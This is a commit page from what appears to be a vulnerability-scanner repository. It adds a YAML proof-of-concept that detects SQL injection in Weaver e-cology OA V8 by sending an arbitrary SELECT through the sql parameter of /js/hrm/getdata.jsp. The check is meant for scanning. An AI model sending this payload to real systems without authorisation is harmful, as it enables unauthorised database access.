Skip to content

Commit

Permalink
add ecology-v8-sqli.yml (chaitin#1295)
Browse files Browse the repository at this point in the history
  • Loading branch information
Print1n authored Jul 9, 2021
1 parent 238be64 commit 3e4eb22
Showing 1 changed file with 15 additions and 0 deletions.
15 changes: 15 additions & 0 deletions pocs/ecology-v8-sqli.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
name: poc-yaml-ecology-v8-sqli
set:
r1: randomInt(1000, 9999)
r2: randomInt(1000, 9999)
rules:
- method: GET
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: Print1n(http://print1n.top)
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html

0 comments on commit 3e4eb22

Please sign in to comment.